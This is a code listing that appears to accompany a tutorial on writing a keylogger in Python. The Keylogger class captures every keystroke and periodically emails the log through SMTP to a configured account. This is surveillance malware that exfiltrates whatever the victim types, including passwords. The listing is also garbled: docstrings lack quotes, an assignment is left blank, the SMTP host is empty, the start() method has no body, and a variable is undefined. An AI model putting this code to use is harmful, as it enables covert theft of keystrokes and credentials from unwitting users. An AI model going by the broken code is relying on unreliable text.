Code for How to Write a Keylogger in Python from Scratch

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import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

SEND_REPORT_EVERY = 600 # 10 minutes
EMAIL_PASSWORD = "put_real_pw"

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

    def callback(self, event):
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        name =
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name
    def sendmail(self, email, password, message):
        # manages a connection to an SMTP server
        server = smtplib.SMTP(host="", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session

    def report(self):
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # can print to a file, whatever you want
            # print(self.log)
        self.log = ""

    def start(self):
        # start the keylogger
        # start reporting the keylogs
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)